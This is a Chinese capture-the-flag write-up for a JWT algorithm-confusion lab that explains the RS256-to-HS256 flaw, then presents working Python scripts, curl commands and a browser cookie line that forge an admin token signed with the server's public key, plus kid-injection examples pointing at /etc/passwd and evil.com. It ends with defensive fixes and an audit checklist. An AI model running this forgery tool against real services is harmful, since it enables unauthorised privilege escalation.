Home
avatar

静静

好靶场-jwt算法混淆-WP

关注泷羽Sec泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具

学安全,别只看书上手练,就来好靶场,本WP靶场已开放,欢迎体验:

🔗 入口:http://www.loveli.com.cn/see_bug_one?id=419

✅ 邀请码:48ffd1d7eba24bf4

🎁 填写即领 7 天高级会员,解锁更多漏洞实战环境!快来一起实战吧!👇

前置知识

  1. JWT (JSON Web Token) 基础

    • JWT 的三部分结构:Header.Payload.Signature
    • 常见签名算法:RS256(非对称)、HS256(对称)
    • Base64 URL 编码与解码
  2. 密码学基础

    • 非对称加密:RSA 公钥/私钥对
    • 对称加密:HMAC-SHA256
    • 数字签名验证流程
  3. HTTP 协议

    • Cookie 机制
    • HTTP 请求/响应头
    • 会话管理
  4. Web 安全基础

    • 认证与授权
    • 权限提升攻击
    • API 安全

靶场考点/漏洞原理

核心漏洞:JWT 算法混淆攻击(Algorithm Confusion)

漏洞原理:

JWT 使用不同的算法进行签名验证:

  • RS256(RSA + SHA256):非对称算法,使用私钥签名,公钥验证
  • HS256(HMAC + SHA256):对称算法,使用同一密钥签名和验证

当后端代码没有严格校验算法类型时,攻击者可以:

  1. 将 Header 中的 algRS256 改为 HS256
  2. 使用公钥作为 HMAC 的密钥进行签名
  3. 服务器错误地使用公钥验证 HS256 签名,导致验证通过

伪代码示例(易受攻击的实现):

# 错误的实现
def verify_jwt(token):
    header = decode_header(token)
    algorithm = header['alg']  # 从 token 中读取算法
    
    if algorithm == 'RS256':
        verify_with_public_key(token)  # 使用公钥验证
    elif algorithm == 'HS256':
        verify_with_hmac(token, public_key)  # 错误!用公钥当 HMAC 密钥

正确的实现应该:

# 安全的实现
def verify_jwt(token):
    expected_algorithm = 'RS256'  # 强制指定算法
    header = decode_header(token)
    
    if header['alg'] != expected_algorithm:
        raise SecurityError("Algorithm mismatch")
    
    verify_with_public_key(token)

本题的关键难点

难点 1:时间戳问题

问题表现:

  • 生成的恶意 JWT 使用了过期或不一致的时间戳
  • 服务器验证 iat(issued at)和 exp(expiration)时拒绝请求

解决方案:

  • 必须先登录获取有效的原始 token
  • 从原始 token 中提取 iatexp
  • 在构造恶意 JWT 时使用相同的时间戳

错误示例:

# 错误:使用当前时间戳
malicious_payload = {
    "username": "user",
    "role": "admin",
    "iat": int(time.time()),      # ❌ 新时间戳
    "exp": int(time.time()) + 86400
}

正确示例:

# 正确:复用原始 token 的时间戳
original_payload = decode_jwt(original_token)
malicious_payload = {
    "username": "user",
    "role": "admin",
    "iat": original_payload['iat'],  # ✅ 复用原始时间戳
    "exp": original_payload['exp']
}

难点 2:公钥格式问题

问题表现:

  • 使用正确的算法和时间戳,但生成的签名与预期不符
  • 服务器仍然返回 302 重定向到 /login

根本原因:

HMAC 签名对输入极其敏感,公钥字符串中的任何差异(包括换行符、空格)都会导致完全不同的签名。

测试验证:

# 公钥 A(8 个换行符)
key_a = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----"""  # 长度 450 字符

# 公钥 B(9 个换行符)
key_b = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...

-----END PUBLIC KEY-----"""  # 长度 451 字符

# 即使内容相同,签名完全不同!
hmac.new(key_a.encode(), message, sha256).hexdigest()
# 输出: 0f3c6eb2e84e14ed8bd5388232720edf...

hmac.new(key_b.encode(), message, sha256).hexdigest()  
# 输出: a9f9868398a7eb2bb0d5a1ec6f5e37de...  # ❌ 完全不同

解决方案:

# 标准化公钥格式
def normalize_pem(pem_string):
    lines = pem_string.strip().split('\n')
    return '\n'.join(lines)  # 确保每行之间只有一个换行符

# 从 JWKS 转换时要保证格式一致
pem_str = public_key.public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.SubjectPublicKeyInfo
).decode('utf-8')

# 标准化
normalized_pem = normalize_pem(pem_str)

为什么 Burp Suite 的 JWT Editor 可以成功?

Burp Suite JWT Editor 工具的优势:

  1. 自动处理公钥格式

    • 工具内部统一了公钥的存储和使用格式
    • 不会因为换行符、编码问题导致签名失败
  2. 可视化操作

    • 直接修改 JWT 的 Header 和 Payload
    • 自动重新签名,无需手动处理 Base64 编码
  3. 内置算法混淆攻击

    • 提供 “Sign with symmetric key” 功能
    • 直接将 PEM 公钥转换为 HS256 密钥使用
  4. 避免时间戳问题

    • 可以直接在当前有效的 token 上修改
    • 保留原始的 iatexp

手工攻击常见失败原因总结:

错误类型表现原因解决方法
时间戳过期302 重定向到 /login使用了新的时间戳而非原始 token 的时间戳先登录获取有效 token,提取时间戳
公钥格式不一致302 重定向到 /login换行符数量不同导致签名完全不同标准化公钥格式(去除多余换行)
算法未修改依然显示 userHeader 中 alg 仍为 RS256确保修改为 HS256
Payload 未修改依然显示 userrole 字段未改为 admin确保 role: “admin”

调试技巧:

# 对比两个 JWT 的差异
def debug_jwt(jwt1, jwt2):
    parts1 = jwt1.split('.')
    parts2 = jwt2.split('.')
    
    print(f"Header 相同: {parts1[0] == parts2[0]}")
    print(f"Payload 相同: {parts1[1] == parts2[1]}")
    print(f"Signature 相同: {parts1[2] == parts2[2]}")
    
    if parts1[0] == parts2[0] and parts1[1] == parts2[1]:
        print("签名不同 → 密钥格式问题!")

这两个难点是本题的核心挑战,也是为什么很多人即使理解了算法混淆原理,仍然无法成功利用的原因。

解题思路

打开靶场就看到非常贴心的提示了登录用户名和密码

登录成功,仔细一看用户身份才是user就知道没有这么简单。

jwt就是找token,把token改成admin或者高权限的用户就可以。

复制token的值丢AI解析一下加密方式

// Header
{
  "alg": "RS256",
  "kid": "jwt-demo-key",
  "typ": "JWT"
}

// Payload
{
  "username": "user",
  "role": "user",
  "email": "user@example.com",
  "exp": 1766196705,
  "iat": 1766110305
}

关键信息:

  • 算法: RS256 (RSA 非对称加密)
  • 当前角色: user
  • 目标: 修改为 admin

直接F12控制台一把梭上去,哎,怎么不对?后来发现是时间戳问题,我因为做这个题的时候刚打开电脑,有点懒不想打开BP,想着一个区区JWT题,算一下加密解密的就行。然后因为前后抓包的时间戳不同就是改不了user为admin。虽然看了其他WP大佬们都用BP一顿操作就成功了,但是我懒。 BP抓包不会遇到这个问题因为BP现抓现改。

让AI给我 搓了一个半自动脚本

"""
手工辅助版:提供登录后的 token,自动完成攻击
"""

import base64
import json
import hmac
import hashlib

# ============= 手动配置 =============

# 步骤1: 登录后,从响应的 Set-Cookie 中复制 token
ORIGINAL_TOKEN = "eyJhbGciOiJSUzI1NiIsImtpZCI6Imp3dC1kZW1vLWtleSIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImVtYWlsIjoidXNlckBleGFtcGxlLmNvbSIsImV4cCI6MTc2NjE5OTI2NywiaWF0IjoxNzY2MTEyODY3fQ.FdzxFO9aMjhruABYTJ3OqBjYVgeMycDSGswFKkHN4KDFbP_fQjJcBMpHOQnWj5A3mPtyQRqYHemqUPQnWzXjvIdQygpWeA5z-ycIA40pCtRLLlcJ6xm2COXg1wfzNN0E-Yy2v8Q_PogIHFXxEuxMa4-ttiiKDSpwIlX06Lh58U5GqUW-6hUjIH9YrN10MBbh013eSooWLWvmvlqB25ZCNYMc9uGFnbq9kynpIrejbVRckYQaOxwU5pbzwedIJUFjbjrteWsCyGSkdSdbB89KiI_gtKuQHAJPqHLRNETXl1TVoI3oiojwEjk4CML3lay8oo5_e4SpfI6gHDTKXi3tmg"

# 步骤2: 访问 /jwks.json 获取公钥,粘贴到这里
PUBLIC_KEY_PEM = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAry7fD9dmGaehXB8hQRbv
HzEySHYLw/E42O73Z//kod3J6OXOH2xOaaTHpUHnueF3jsy5XdK4+37J32fRlY+K
bn2pJKeo2utj6Se984+R9XD8P+/ESmH+NRX60ZFVr38gjYO/H9FvtXM3dyEK1Evg
40V6GmqT1fM2Q4GPPuQ9L1yt4j3vr2FM1MirOLODEOd3llY9QL0q2eOkkbvniKrM
wwV9iEy9sPP5fnfCwJM+w8lir9MB06DquA/a+VanH2Ml9Yn9TjrVrNU5GEBgCrPe
U10HbceGJBQ53TJZTbjPHU5aFe77RP5mY5gWqR1RHSvPIgP8FvTVTyBeB3ZNpGG3
EwIDAQAB
-----END PUBLIC KEY-----"""

TARGET_URL = "http://n68vwbq.haobachang.loveli.com.cn:8888"

# ============= 自动处理 =============

def b64url_encode(data):
    if isinstance(data, dict):
        data = json.dumps(data, separators=(',', ':')).encode()
    encoded = base64.urlsafe_b64encode(data).decode()
    return encoded.rstrip('=')

def b64url_decode(data):
    padding = 4 - len(data) % 4
    if padding != 4:
        data += '=' * padding
    return base64.urlsafe_b64decode(data)

# 从原始 token 提取时间戳
payload_b64 = ORIGINAL_TOKEN.split('.')[1]
payload = json.loads(b64url_decode(payload_b64))

print("=" * 70)
print("原始 Token Payload:")
print(json.dumps(payload, indent=2))
print("=" * 70)

# 构造恶意 JWT
header = {
    "alg": "HS256",
    "kid": "jwt-demo-key",
    "typ": "JWT"
}

malicious_payload = {
    "username": "user",
    "role": "admin",  # 修改为 admin
    "email": "user@example.com",
    "iat": payload['iat'],
    "exp": payload['exp']
}

# 编码和签名
header_b64 = b64url_encode(header)
payload_b64 = b64url_encode(malicious_payload)
message = f"{header_b64}.{payload_b64}".encode()
signature = hmac.new(PUBLIC_KEY_PEM.encode(), message, hashlib.sha256).digest()
signature_b64 = b64url_encode(signature)

malicious_jwt = f"{header_b64}.{payload_b64}.{signature_b64}"

print("\n" + "=" * 70)
print("恶意 JWT:")
print("=" * 70)
print(malicious_jwt)

print("\n" + "=" * 70)
print("一键 Curl 命令:")
print("=" * 70)
print(f'curl -v -H "Cookie: token={malicious_jwt}" {TARGET_URL}/profile')

print("\n" + "=" * 70)
print("Burp Suite 操作:")
print("=" * 70)
print("1. 拦截 GET /profile 请求")
print("2. 在 Cookie 中将 token 替换为上面的恶意 JWT")
print("3. Forward 请求")
print("=" * 70)

需要BP抓包login的登录,然后再把login登陆后返回的token值放脚本里面计算,然后替换到profile的重放包里面,或者用curl命令一键获取,前提是和burp抓包的login的token值一样,并且需要先login,保证时间戳。

最终还是打开了BP,偷懒失败

还是懒,不想用BP的话就用curl构造一个

curl -i -X POST "http://n68vwbq.haobachang.loveli.com.cn:8888/login" -H "Content-Type: application/json" -H "User-Agent: Mozilla/5.0" -d '{"data":"aAoiypHlZZkP41+VNV7YFSNpDeVLh+86ae99Ui49b6LQpCM5/7j2L1RudShESTmA"}'

只要看到success的标志就是对的,然后手动复制token到上面的代码里面的token里面,/jwks.json 获取公钥后面就不用动了,公钥不会变。

或者打开F12复制登录后的token值到上面这个半自动脚本计算,然后再在控制台里面输入如下内容

document.cookie="token=eyJhbGciOiJIUzI1NiIsImtpZCI6Imp3dC1kZW1vLWtleSIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoiYWRtaW4iLCJlbWFpbCI6InVzZXJAZXhhbXBsZS5jb20iLCJpYXQiOjE3NjYxMTI3OTEsImV4cCI6MTc2NjE5OTE5MX0.HolA-DkeY4T8zBuJ-V8Yoz8LiJ4D472Di-9rNhIF8W4;path=/";location.reload();

我还是不能放弃一键梭哈的诱惑,然后让AI帮我写了个全自动脚本,不过只适合于这一题,因为profile之类的路径是写死的。

"""
JWT 算法混淆攻击工具 (RS256 -> HS256)
支持自动模式和手动模式
"""

import base64
import json
import hmac
import hashlib
import requests
import sys
import argparse
import re

TARGET_URL = "http://n68vwbq.haobachang.loveli.com.cn:8888"

# ============= 工具函数 =============

def print_banner():
    print("\n" + "=" * 80)
    print("JWT 算法混淆攻击工具 (RS256 -> HS256)")
    print("=" * 80 + "\n")

def b64url_encode(data):
    if isinstance(data, dict):
        data = json.dumps(data, separators=(',', ':')).encode()
    elif isinstance(data, str):
        data = data.encode()
    encoded = base64.urlsafe_b64encode(data).decode()
    return encoded.rstrip('=')

def b64url_decode(data):
    padding = 4 - len(data) % 4
    if padding != 4:
        data += '=' * padding
    return base64.urlsafe_b64decode(data)

# ============= 公钥获取 =============

def get_public_key_from_jwks(url):
    """获取公钥并修正换行符格式"""
    print(f"[*] 正在获取公钥: {url}/jwks.json")
    
    try:
        response = requests.get(f"{url}/jwks.json", timeout=10)
        response.raise_for_status()
        jwks = response.json()
        
        print(f"[+] 成功获取 JWKS\n")
        
        try:
            from cryptography.hazmat.primitives.asymmetric import rsa
            from cryptography.hazmat.primitives import serialization
            from cryptography.hazmat.backends import default_backend
            
            first_key = jwks['keys'][0]
            n = int.from_bytes(b64url_decode(first_key['n']), 'big')
            e = int.from_bytes(b64url_decode(first_key['e']), 'big')
            
            public_key = rsa.RSAPublicNumbers(e, n).public_key(default_backend())
            pem = public_key.public_bytes(
                encoding=serialization.Encoding.PEM,
                format=serialization.PublicFormat.SubjectPublicKeyInfo
            )
            
            pem_str = pem.decode('utf-8')
            
            # 标准化换行符格式
            lines = pem_str.strip().split('\n')
            normalized_pem = '\n'.join(lines)
            
            print(f"[+] 公钥转换成功")
            print("-" * 80)
            print(normalized_pem)
            print("-" * 80)
            print()
            
            return normalized_pem
            
        except ImportError:
            print("[!] 需要安装: pip install cryptography")
            sys.exit(1)
        
    except Exception as e:
        print(f"[!] 获取公钥失败: {e}")
        sys.exit(1)

# ============= 登录和 Token 获取 =============

def auto_login(url):
    """自动登录并获取 token"""
    print(f"[*] 正在自动登录: {url}/login")
    
    login_data = {
        "data": "aAoiypHlZZkP41+VNV7YFSNpDeVLh+86ae99Ui49b6LQpCM5/7j2L1RudShESTmA"
    }
    
    headers = {
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0"
    }
    
    try:
        response = requests.post(
            f"{url}/login",
            json=login_data,
            headers=headers,
            timeout=10
        )
        
        print(f"[*] 响应状态码: {response.status_code}")
        
        # 从 Set-Cookie 中提取 token
        token = None
        if 'Set-Cookie' in response.headers:
            set_cookie = response.headers['Set-Cookie']
            match = re.search(r'token=([^;]+)', set_cookie)
            if match:
                token = match.group(1)
        
        if not token:
            print(f"[!] 未能从响应中提取 token")
            print(f"[!] 响应头: {response.headers}")
            print(f"[!] 响应体: {response.text}")
            return None, None
        
        print(f"[+] 成功获取 token\n")
        
        # 解码 payload
        try:
            payload_b64 = token.split('.')[1]
            payload = json.loads(b64url_decode(payload_b64))
            
            print(f"[*] Token Payload:")
            print(json.dumps(payload, indent=2))
            print()
            
            return token, payload
            
        except Exception as e:
            print(f"[!] Token 解码失败: {e}")
            return None, None
        
    except Exception as e:
        print(f"[!] 登录失败: {e}")
        return None, None

def manual_get_token(url):
    """手动模式:引导用户输入 token"""
    print(f"[*] 使用以下命令登录:\n")
    
    curl_cmd = f'curl -i -X POST "{url}/login" -H "Content-Type: application/json" -H "User-Agent: Mozilla/5.0" -d \'{{"data":"aAoiypHlZZkP41+VNV7YFSNpDeVLh+86ae99Ui49b6LQpCM5/7j2L1RudShESTmA"}}\''
    print(curl_cmd)
    print("-" * 80)
    print("\n请粘贴从响应中获取的 token:\n")
    
    token = input("Token: ").strip()
    
    if not token:
        print("[!] Token 不能为空")
        sys.exit(1)
    
    # 清理 token
    if 'token=' in token:
        token = token.split('token=')[1].split(';')[0].strip()
    
    if token.count('.') != 2:
        print(f"[!] Token 格式错误")
        sys.exit(1)
    
    try:
        payload_b64 = token.split('.')[1]
        payload = json.loads(b64url_decode(payload_b64))
        
        print(f"\n[+] Token 解码成功")
        print(f"[*] 原始 Payload:")
        print(json.dumps(payload, indent=2))
        print()
        
        return token, payload
        
    except Exception as e:
        print(f"[!] Token 解码失败: {e}")
        sys.exit(1)

# ============= JWT 生成 =============

def create_malicious_jwt(public_key_pem, original_payload):
    """生成恶意 JWT"""
    header = {
        "alg": "HS256",
        "kid": "jwt-demo-key",
        "typ": "JWT"
    }
    
    malicious_payload = {
        "username": "user",
        "role": "admin",
        "email": "user@example.com",
        "iat": original_payload['iat'],
        "exp": original_payload['exp']
    }
    
    print(f"[*] 原始 role: {original_payload.get('role')}")
    print(f"[*] 修改后 role: admin")
    print(f"[*] 时间戳: iat={malicious_payload['iat']}, exp={malicious_payload['exp']}\n")
    
    # 编码
    header_b64 = b64url_encode(header)
    payload_b64 = b64url_encode(malicious_payload)
    message = f"{header_b64}.{payload_b64}".encode()
    
    # 签名
    signature = hmac.new(public_key_pem.encode(), message, hashlib.sha256).digest()
    signature_b64 = b64url_encode(signature)
    
    malicious_jwt = f"{header_b64}.{payload_b64}.{signature_b64}"
    
    print(f"[+] 恶意 JWT 生成成功!\n")
    
    return malicious_jwt

# ============= 测试和攻击 =============

def test_jwt(url, jwt_token):
    """测试恶意 JWT"""
    print(f"[*] 测试恶意 JWT...")
    print("-" * 80)
    
    try:
        response = requests.get(
            f"{url}/profile",
            cookies={'token': jwt_token},
            timeout=10,
            allow_redirects=False
        )
        
        print(f"[*] 响应状态码: {response.status_code}\n")
        
        if response.status_code == 200:
            print(f"[SUCCESS] ✓ 请求成功!\n")
            
            if 'admin' in response.text.lower():
                print(f"[SUCCESS] ✓ 身份已提升为 admin!\n")
            
            if 'flag' in response.text.lower():
                print(f"[SUCCESS] ✓ 找到 flag!\n")
                
                import re
                flags = re.findall(r'flag\{[^}]+\}', response.text, re.IGNORECASE)
                if flags:
                    print("=" * 80)
                    print(f"🚩 FLAG: {flags[0]}")
                    print("=" * 80 + "\n")
                    return True
                else:
                    print(f"[*] 完整响应:\n{response.text}\n")
            else:
                print(f"[*] 响应片段:\n{response.text[:500]}\n")
            
            return True
            
        elif response.status_code == 302:
            print(f"[FAILED] ✗ 重定向到: {response.headers.get('Location')}")
            print(f"[FAILED] ✗ JWT 验证失败\n")
            return False
        
        else:
            print(f"[?] 未知响应: {response.status_code}")
            print(f"{response.text[:300]}\n")
            return False
        
    except Exception as e:
        print(f"[!] 请求失败: {e}\n")
        return False

def print_usage_info(malicious_jwt, url):
    """打印使用信息"""
    print("=" * 80)
    print("生成的恶意 JWT:")
    print("=" * 80)
    print(malicious_jwt)
    print()
    
    print("=" * 80)
    print("Curl 命令:")
    print("=" * 80)
    print(f'curl -v -H "Cookie: token={malicious_jwt}" {url}/profile')
    print()
    
    print("=" * 80)
    print("Burp Suite 操作:")
    print("=" * 80)
    print("1. 拦截 GET /profile 请求")
    print("2. 替换 Cookie 中的 token")
    print("3. Forward 请求")
    print()
    
    print("=" * 80)
    print("浏览器 Console:")
    print("=" * 80)
    print(f'document.cookie="token={malicious_jwt};path=/";location.reload();')
    print("=" * 80 + "\n")

# ============= 主函数 =============

def auto_mode(url):
    """自动模式"""
    print("\n" + "=" * 80)
    print("自动模式")
    print("=" * 80 + "\n")
    
    # 步骤1: 获取公钥
    print("[步骤 1/4] 获取公钥")
    print("-" * 80)
    public_key_pem = get_public_key_from_jwks(url)
    
    # 步骤2: 自动登录
    print("[步骤 2/4] 自动登录")
    print("-" * 80)
    original_token, original_payload = auto_login(url)
    
    if not original_token:
        print("[!] 自动登录失败,请使用手动模式")
        sys.exit(1)
    
    # 步骤3: 生成恶意 JWT
    print("[步骤 3/4] 生成恶意 JWT")
    print("-" * 80)
    malicious_jwt = create_malicious_jwt(public_key_pem, original_payload)
    
    # 步骤4: 测试
    print("[步骤 4/4] 测试攻击")
    print("-" * 80)
    success = test_jwt(url, malicious_jwt)
    
    # 输出使用信息
    print_usage_info(malicious_jwt, url)
    
    if success:
        print("[SUCCESS] ✓ 自动攻击成功!")
    else:
        print("[提示] 攻击未成功,请检查:")
        print("  1. Token 是否过期")
        print("  2. 使用 Burp Suite 手动验证")

def manual_mode(url):
    """手动模式"""
    print("\n" + "=" * 80)
    print("手动模式")
    print("=" * 80 + "\n")
    
    # 步骤1: 获取公钥
    print("[步骤 1/4] 获取公钥")
    print("-" * 80)
    public_key_pem = get_public_key_from_jwks(url)
    
    # 步骤2: 手动输入 token
    print("[步骤 2/4] 获取有效 Token")
    print("-" * 80)
    original_token, original_payload = manual_get_token(url)
    
    # 步骤3: 生成恶意 JWT
    print("[步骤 3/4] 生成恶意 JWT")
    print("-" * 80)
    malicious_jwt = create_malicious_jwt(public_key_pem, original_payload)
    
    # 步骤4: 测试
    print("[步骤 4/4] 测试攻击")
    print("-" * 80)
    success = test_jwt(url, malicious_jwt)
    
    # 输出使用信息
    print_usage_info(malicious_jwt, url)
    
    if success:
        print("[SUCCESS] ✓ 攻击成功!")
    else:
        print("[提示] 如果失败,请:")
        print("  1. 确认 token 未过期(重新登录)")
        print("  2. 使用 Burp Suite 手动验证")

def main():
    parser = argparse.ArgumentParser(
        description='JWT 算法混淆攻击工具 (RS256 -> HS256)',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog='''
使用示例:
  自动模式: python3 %(prog)s --auto
  手动模式: python3 %(prog)s --manual
  指定 URL: python3 %(prog)s --auto --url http://target.com:8888
        '''
    )
    
    parser.add_argument(
        '--auto',
        action='store_true',
        help='自动模式(自动登录获取 token)'
    )
    
    parser.add_argument(
        '--manual',
        action='store_true',
        help='手动模式(手动输入 token)'
    )
    
    parser.add_argument(
        '--url',
        type=str,
        default=TARGET_URL,
        help=f'目标 URL(默认: {TARGET_URL})'
    )
    
    args = parser.parse_args()
    
    # 如果没有指定模式,显示帮助
    if not args.auto and not args.manual:
        parser.print_help()
        print("\n[!] 请指定模式: --auto 或 --manual")
        sys.exit(1)
    
    # 如果同时指定两个模式,报错
    if args.auto and args.manual:
        print("[!] 错误: 不能同时使用 --auto 和 --manual")
        sys.exit(1)
    
    print_banner()
    
    try:
        if args.auto:
            auto_mode(args.url)
        else:
            manual_mode(args.url)
            
    except KeyboardInterrupt:
        print("\n\n[!] 用户中断")
        sys.exit(0)
    except Exception as e:
        print(f"\n[!] 错误: {e}")
        import traceback
        traceback.print_exc()
        sys.exit(1)

if __name__ == "__main__":
    main()

漏洞修复/规避方法

一、漏洞本质理解

银行取款比喻(算法混淆攻击)

正常情况(RS256 —— 安全)
你去银行取钱

【登录验证】
柜台:请签名(用你的私钥 = 你独特的签名技巧)
你:[签名]
柜台:核对笔迹... ✅ 是本人!

【签发凭证】
行长用【私钥】在取款凭证(JWT)上签名
凭证内容:
  - 姓名:张三
  - 权限:普通用户(role: user)
  - 行长签名:[只有行长才能签]

【验证取款】
保安验证凭证:
  - 用墙上的"行长签名样本"(公钥)验证
  - ✅ 确实是行长签的!放行!
算法混淆攻击(Algorithm Confusion)
黑客去银行

【黑客也正常登录】
拿到一个真凭证(权限:普通用户)

【回家篡改凭证】
黑客操作:
  1. 把 role 改成 admin
  2. 从墙上拿到“行长签名样本”(公钥,公开)
  3. 用这个公钥作为“印章材料”
  4. 在凭证上写明:alg = HS256

【漏洞触发】
保安(有漏洞):
  - “哦?你说用 HS256?”
  - “那我也用 HS256 算一下,哎一样,sir this way”
  - 用公钥作为 HMAC 密钥重新计算签名
  - 对比结果:✅ 一模一样

本质一句话总结:

黑客用“公钥”当成“对称密钥”签名 服务端居然也照做了,真是傻的可爱

⚠️ 核心问题澄清

  • 不是公钥泄露(公钥本来就该公开)
  • 不是 RS256 被破解
  • 不是 HS256 不安全

👉 真正的问题是:

服务端信任了客户端声明的算法(alg)

二、关键防御原则

1️⃣ 服务端必须强制指定算法(最重要)

永远不要信任 JWT Header 中的 alg 字段

❌ 错误示例(真实 CVE 场景)
def verify_jwt_vulnerable(token):
    header = decode_header(token)
    algorithm = header['alg']  # ❌ 攻击者可控

    if algorithm == 'RS256':
        return verify_with_rsa(token, PUBLIC_KEY)
    elif algorithm == 'HS256':
        # ❌ 致命错误:公钥被当作 HMAC 密钥
        return verify_with_hmac(token, PUBLIC_KEY)

攻击流程:

攻击者:
  alg = HS256
  signature = HMAC(message, PUBLIC_KEY)

服务端:
  expected = HMAC(message, PUBLIC_KEY)

signature == expected → ✅ 验证通过
✅ 正确示例(安全)
def verify_jwt_secure(token):
    EXPECTED_ALG = 'RS256'

    header = decode_header(token)
    if header.get('alg') != EXPECTED_ALG:
        raise SecurityError("Algorithm mismatch")

    return verify_with_rsa(token, PUBLIC_KEY)

⚠️ 工程级建议:

更推荐 完全不自行解析 Header,而是交给成熟 JWT 库一次性完成校验

2️⃣ 算法白名单,而不是黑名单

jwt.decode(
    token,
    public_key,
    algorithms=['RS256']  # 白名单
)

⚠️ 重要修正说明:

  • HS256 本身不是不安全算法

  • 但:

    • 如果系统使用 RS256 / ES256
    • 必须明确禁用 HS256
  • 禁止在同一系统中混用对称 + 非对称算法

Never mix symmetric and asymmetric JWT algorithms in the same trust boundary

3️⃣ 明确禁用 none 算法

FORBIDDEN_ALGORITHMS = ['none']

现代库通常已默认禁用,但不要依赖“默认安全”

三、完整的安全 JWT 验证流程

def secure_jwt_verify(token, public_key):
    try:
        payload = jwt.decode(
            token,
            public_key,
            algorithms=['RS256'],
            audience='your-app-id',
            issuer='your-trusted-issuer.com'
        )

        # 授权约束校验(不是防篡改)
        if payload.get('role') not in ['user', 'admin', 'guest']:
            raise SecurityError("Invalid role")

        return payload

    except jwt.ExpiredSignatureError:
        raise SecurityError("Token expired")
    except jwt.InvalidTokenError:
        raise SecurityError("JWT validation failed")

⚠️ 说明修正:

  • JWT 一旦验证通过,payload 即不可被篡改
  • role 校验属于 授权逻辑(Authorization)

四、其他非常关键的攻击点

🔥 1. kid Header 注入攻击

危险示例:

{
  "alg": "RS256",
  "kid": "../../../../../etc/passwd"
}

或:

"kid": "http://evil.com/key.pem"
防御原则:
  • kid 只能:

    • 映射到服务端预定义 key-id
  • ❌ 禁止:

    • 文件路径
    • URL
    • 动态数据库查询

结论: kid 是仅次于 alg 的第二高危 Header 字段

🔥 2. JWT ≠ Session

  • JWT 不适合:
    • 长期高权限
    • 敏感操作
  • 建议:
    • 短期 JWT
    • 二次校验
    • 服务端状态控制

五、日志与监控

⚠️ 不要误判攻击类型:

except jwt.InvalidTokenError:
    logging.warning(
        "JWT validation failed with unexpected algorithm or signature",
        extra={"header": safe_decode_header(token)}
    )

👉 实战中不一定能精确区分算法混淆

六、代码审计检查清单

  • 是否显式指定算法白名单?
  • 是否禁止混用对称 / 非对称 JWT?
  • 是否禁用 none
  • 是否限制 kid 来源?
  • 是否避免自行解析 Header?
  • 是否将授权逻辑与 JWT 校验分离?
  • 是否使用最新 JWT 库?

七、最终总结

JWT 算法混淆攻击的本质,并不是密码学失败,而是信任边界设计错误

不可妥协的三条原则:

  1. 算法必须由服务端决定
  2. 密钥来源必须完全受控
  3. JWT 只做身份,不做最终授权

一句话总结: JWT 的安全问题,99% 来自工程实现,而不是算法本身。


🔔 想要获取更多网络安全与编程技术干货?

关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻

马上加入我们,共同成长!🌟

👉 长按或扫描二维码关注公众号

直接回复文章中的关键词,获取更多技术资料与书单推荐!📚

好靶场